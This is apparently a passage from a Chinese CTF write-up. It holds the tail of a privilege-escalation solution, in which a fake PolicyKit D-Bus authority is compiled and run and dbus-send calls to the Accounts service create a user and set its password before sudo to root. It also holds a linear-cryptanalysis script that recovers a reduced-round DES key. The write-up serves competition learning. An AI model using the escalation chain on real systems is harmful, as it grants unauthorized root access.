object = PolicyKitAuthority(name)
# Run the main loop to process D-Bus requests
loop = GLib.MainLoop()
loop.run()
本地编译(ubuntu 22.04可以,高版本ubuntu可能存在libc问题。) pyinstaller --onefile 编译成二进制文件,上传到服务器
./b &
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:tester string:"Tester Account" int32:1
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$Rz92IY79HzptsjcF$/n.7US0ZopP6oxWlTOdxwTzD8rtwMAxfjv4k0j6UuD5PD4YvGXHic1SK6mADgbO3cJyuVYHzpCINBF9lvnkwD1' string:'tester'
su tester
密码password123
sudo su
cat /flag
Crypto
又双叒叕
from Crypto.Util.number import *
from tqdm import tqdm
import des
IP = [57, 49, 55, 63, 8, 7, 50, 4, 3, 1, 23, 34, 28, 45, 30, 20, 59, 13, 42, 27, 43, 38, 41, 32, 35, 11, 17, 26, 53, 0, 36, 58, 18, 14, 56, 60, 52, 9, 5, 2, 21, 40, 47, 19, 39, 12, 51, 46, 25, 48, 33, 62, 6, 24, 37, 15, 31, 61, 54, 10, 16, 22, 44, 29]
CP_1 = [11, 26, 56, 27, 28, 46, 30, 37, 23, 5, 21, 53, 33, 42, 15, 35, 17, 52, 24, 39, 20, 59, 9, 2, 41, 48, 49, 32, 43, 62, 7, 13, 18, 40, 31, 36, 4, 10, 38, 60, 14, 22, 34, 8, 0, 54, 6, 50, 12, 55, 51, 45, 25, 16, 3, 47]
CP_2 = [53, 37, 42, 20, 7, 18, 46, 5, 23, 12, 11, 43, 45, 41, 40, 36, 21, 8, 22, 0, 33, 51, 3, 17, 6, 1, 39, 54, 29, 30, 2, 44, 10, 25, 16, 47, 31, 27, 34, 32, 14, 13, 9, 50, 26, 24, 15, 19]
P = [0, 26, 10, 24, 13, 20, 19, 23, 5, 2, 29, 22, 31, 21, 30, 12, 25, 11, 8, 9, 6, 17, 14, 28, 3, 16, 15, 27, 18, 1, 7, 4]
FP = [51, 48, 37, 61, 19, 59, 14, 3, 55, 43, 1, 63, 45, 62, 2, 20, 53, 36, 34, 41, 23, 40, 7, 24, 21, 60, 39, 27, 29, 42, 49, 57, 9, 6, 18, 13, 15, 31, 30, 46, 11, 8, 16, 33, 47, 5, 10, 58, 25, 17, 52, 50, 35, 44, 0, 26, 38, 56, 32, 22, 28, 12, 54, 4]
E = [31, 0, 1, 2, 3, 4, 3, 4, 5, 6, 7, 8, 7, 8, 9, 10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0,]
SHIFT = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
def rev_box(box):
return [box.index(i) for i in range(len(box))]
def permute(bits, permutation):
return [bits[pos] for pos in permutation]
def bytes_to_bits(bytes_arr):
return [((bytes_arr[i // 8] >> (7 - (i % 8))) & 1) for i in range(len(bytes_arr) * 8)]
def bits_to_bytes(bits_arr):
return bytes([sum(v << (7 - i) for i, v in enumerate(row)) for row in zip(*[bits_arr[i::8] for i in range(8)])])
def xor(x, y):
return [a ^ b for a, b in zip(x, y)]
def load_textpair(num):
textpair = []
pts = open(f"data/pt{num}", "rb").read()
cts = open(f"data/ct{num}", "rb").read()
pt = [bytes_to_bits(pts[i:i+8]) for i in range(0, 640, 8)]
ct = [bytes_to_bits(cts[i:i+8]) for i in range(0, 640, 8)]
for i in range(len(pt)):
pt[i] = [pt[i][x] for x in IP]
ct[i] = [ct[i][x] for x in rev_box(FP)]
for x, y in zip(pt, ct):
textpair.append((x, y))
return textpair
def _keyschedule(key):
round_keys = []
# key = bytes_to_bits(key)
key = [key[x] for x in CP_1]
g, d = key[:28], key[28:]
for i in range(4):
g = g[SHIFT[i]:] + g[:SHIFT[i]]
d = d[SHIFT[i]:] + d[:SHIFT[i]]
tmp = g + d
round_keys.append([tmp[x] for x in CP_2])
return round_keys
def _substitute(R_expand): # Substitute bytes using SBOX
subblocks = [R_expand[k:k+6] for k in range(0, 48, 6)]
ret = []
for i in range(8): # For all the sublists
block = subblocks[i]
# Get the row with the first and last bit
row = int(str(block[0])+str(block[5]), 2)
# Column is the 2,3,4,5th bits
column = int(''.join([str(x) for x in block[1:][:-1]]), 2)
# Take the value in the SBOX appropriated for the round (i)
val = des.S_BOX[i][row][column]
for j in range(3, -1, -1):
ret.append((val >> j) & 1)
return ret
def analyze(x, y):
correct = ['x' for _ in range(64)]
key_idx = list(range(64))
for group in tqdm(range(x, y)):
textpair = load_textpair(group)
last_key = _keyschedule(key_idx)[-1]
result = []
for guess in range(1 << 6):
k = list(map(int, bin(guess)[2:].zfill(6) + '0' * 42))
score = 0
for p, c in textpair:
pl, pr, cl, cr = p[:32], p[32:], c[:32], c[32:]
tmp = xor(k, permute(cr, E))
tmp = permute(_substitute(tmp), P)
score += pr[9] ^ cl[9] ^ pl[19] ^ cr[19] ^ tmp[9]
key_bits = ['x' for _ in range(64)]
for i in range(6):
key_bits[last_key[i]] = str(k[i])
result.append((min(score, len(textpair) - score), ''.join(key_bits)))
result.sort(reverse=False)
key_idx = key_idx[1:] + key_idx[:1]
if result[1][0] == result[0][0]:
continue
if result[0][0] > 24:
if result[0][0] + 4 >= result[1][0]:
continue
best = result[0][1]
for i in range(64):
if best[i] != 'x':
if correct[i] == 'x':
correct[i] = best[i]
elif correct[i] != best[i]:
print("Error")
exit(0)
return ''.join(correct)
# flag = analyze(0, 1)
part_key = analyze(0, 64)
print(part_key)
def burp(key):
segments = key.split('x')
res = []
def dfs(segment_index, current_variation):
if segment_index == len(segments):
res.append(list(map(int, current_variation)))
return
dfs(segment_index + 1, current_variation + "0" + segments[segment_index])
dfs(segment_index + 1, current_variation + "1" + segments[segment_index])
dfs(1, segments[0])
return res
all_keys = burp(part_key)
textpair = load_textpair(0)
with open(f"data/pt0", "rb") as f:
pt = f.read(8)
with open(f"data/ct0", "rb") as f:
ct = f.read(8)
flag = None
for key in tqdm(all_keys):
tmp = bits_to_bytes(key)
cipher = des.DES(tmp, 4)
aim = cipher.encrypt(pt)
if aim == ct:
print(f"Found key: {tmp.hex()}")
flag = tmp
break
print('aliyunctf{' + flag.hex() + '}')